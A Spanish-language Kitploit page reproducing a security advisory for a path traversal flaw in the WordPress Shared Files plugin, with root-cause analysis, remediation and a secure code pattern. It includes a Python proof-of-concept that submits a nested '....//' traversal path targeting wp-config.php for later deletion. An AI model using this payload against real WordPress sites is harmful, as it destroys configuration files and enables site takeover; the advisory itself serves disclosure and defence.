Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-12513 — Aviso técnico y prueba de concepto para CVE-2026-12513, una eliminación arbitraria de archivos sin autenticación mediante path traversal en el plugin Shared Files de WordPress, incluyendo análisis de causa raíz y guía de remediación. | Kitploit
Herramientas/GitHubGitHub/minhhk68/cve-2026-12513
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

Aviso técnico y prueba de concepto para CVE-2026-12513, una eliminación arbitraria de archivos sin autenticación mediante path traversal en el plugin Shared Files de WordPress, incluyendo análisis de causa raíz y guía de remediación.

Ver Repositorio
hace 8h 31mAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-12513: Shared Files < 1.7.68 — Eliminación Arbitraria de Archivos No Autenticada mediante Path Traversal

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 Resumen del Aviso

CVE-2026-12513 es una vulnerabilidad de Eliminación Arbitraria de Archivos no autenticada mediante Path Traversal que afecta a los plugins de WordPress Shared Files y Shared Files Pro antes de la versión 1.7.68, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La falla ocurre dentro de las rutinas de procesamiento de envío de archivos del frontend del plugin, donde las rutas de archivo proporcionadas por el usuario se filtran mediante un reemplazo de patrón de traversal de una sola pasada defectuoso que puede ser evadido usando secuencias anidadas (como ). En consecuencia, un atacante remoto no autenticado puede enviar una ruta manipulada que apunte fuera del directorio de subidas previsto para atacar activos críticos del servidor, incluido . Cuando un administrador posteriormente purga o elimina permanentemente la entrada subida, la aplicación invoca primitivas de eliminación del sistema de archivos () contra la ruta arbitraria almacenada. Esto resulta en la destrucción de los archivos de configuración principales de WordPress, lo que desencadena una Denegación de Servicio severa y permite la toma del sitio mediante la instalación no configurada. El investigador principal Huynh Kien Minh evaluó esta vulnerabilidad con una puntuación CVSS 3.1 de 6.8 Media (CWE-73 / CWE-22), recomendando actualizaciones inmediatas del plugin a la versión 1.7.68 o posterior y una validación robusta de rutas canónicas.

....//
wp-config.php
unlink()

Enlaces rápidos: Explora el Portafolio de Ciberseguridad oficial del investigador o revisa el Aviso Verificado de WPScan.


📌 Resumen Ejecutivo y Metadatos Técnicos

ParámetroEspecificación Técnica
Identificador de VulnerabilidadCVE-2026-12513
Software AfectadoShared Files / Shared Files Pro (Plugins de WordPress)
Slugs del Pluginshared-files, shared-files-pro
Versiones Vulnerables< 1.7.68
Versión Parcheada>= 1.7.68
Clase de VulnerabilidadControl Externo del Nombre o Ruta de Archivo / Path Traversal (CWE-73 / CWE-22)
Puntuación CVSS v3.16.8 (Media) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Descubridor / InvestigadorHuynh Kien Minh (MinhHK)
Autoridad de VerificaciónWPScan / MITRE Corporation
Referencia del Aviso WPScanInforme WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
Portafolio del Investigadorhttps://minhhk.web.app/

🔍 Desglose Técnico Detallado y Análisis de Causa Raíz

La vulnerabilidad tiene su origen en un mecanismo inadecuado de saneamiento de rutas implementado en los manejadores de envío de archivos del frontend en Shared Files (< 1.7.68).

1. Saneamiento de Ruta de Una Sola Pasada Inadecuado

Al aceptar envíos de archivos del frontend, el plugin intentaba eliminar las secuencias de traversal de directorio (../) usando un reemplazo de cadena de una sola pasada:

root@kitploit:~
// Filtro de saneamiento inseguro de una sola pasada en Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

Debido a que str_replace() se ejecuta solo una vez de izquierda a derecha:

  • Payload de traversal anidado: ....//....//....//wp-config.php
  • Cuando ../ se elimina una vez de ....//, los caracteres externos colapsan de nuevo para formar ../:
    • ....// -> ../
  • ¡La ruta saneada resultante se evalúa como: ../../../../wp-config.php!

2. Ruta de Archivo Almacenada y Cadena de Ejecución de Eliminación

  1. Envío No Autenticado: El atacante envía una solicitud HTTP al endpoint de subida del frontend proporcionando la ruta de traversal anidada. La ruta manipulada se almacena en la base de datos (por ejemplo, en wp_posts o en una tabla personalizada del plugin).
  2. Disparador de Eliminación Permanente: Cuando un administrador revisa los envíos o elimina el registro del archivo mediante /wp-admin/admin.php?page=shared-files, el backend llama a unlink() sobre la ruta almacenada resuelta:
root@kitploit:~
// Lógica de eliminación vulnerable
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Dispara la eliminación del archivo objetivo (por ejemplo, /var/www/html/wp-config.php)
}
  1. Impacto Catastrófico: Una vez que se elimina wp-config.php:
    • Se pierden las credenciales de la base de datos y las claves de seguridad.
    • El sitio entra inmediatamente en un estado no configurado, presentando el asistente de instalación de WordPress (/wp-admin/install.php).
    • El atacante puede completar el asistente de instalación con una nueva base de datos, logrando Ejecución Remota de Código (RCE) completa y Toma del Sitio.

💻 Código de Explotación de Prueba de Concepto (PoC)

Descargo Ético: Esta Prueba de Concepto se proporciona estrictamente para investigación educativa, validación defensiva y auditoría de seguridad bajo protocolos de divulgación ética por Huynh Kien Minh.

Exploit PoC en Python (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")
    
    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ Remediación y Análisis del Parche

Para Administradores del Sitio

  • Actualiza los plugins Shared Files y Shared Files Pro inmediatamente a la versión 1.7.68 o superior.
  • Asegúrate de que los permisos del sistema de archivos en wp-config.php sean de solo lectura (chmod 400 o 440) para el proceso del servidor web.

Para Desarrolladores (La Implementación Segura)

Aplica una resolución estricta de rutas canónicas usando realpath() y wp_normalize_path() para garantizar que las operaciones permanezcan dentro del límite designado de subidas:

root@kitploit:~
// Patrón Seguro de Validación de Rutas (Versión 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Asegura que la ruta real resuelta comience estrictamente con el directorio base designado
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 Acerca del Investigador

Huynh Kien Minh (MinhHK) es un Investigador de Seguridad de la Información especializado en investigación de vulnerabilidades de WordPress, auditorías de seguridad del núcleo y plugins, y modelado defensivo de exploits.

  • Portafolio de Ciberseguridad: https://minhhk.web.app/
  • Referencia del Aviso WPScan: Informe WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
  • Perfil de GitHub: https://github.com/MinhHK68

📊 Marcado de Esquema de Datos Estructurados JSON-LD

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
Descargar herramienta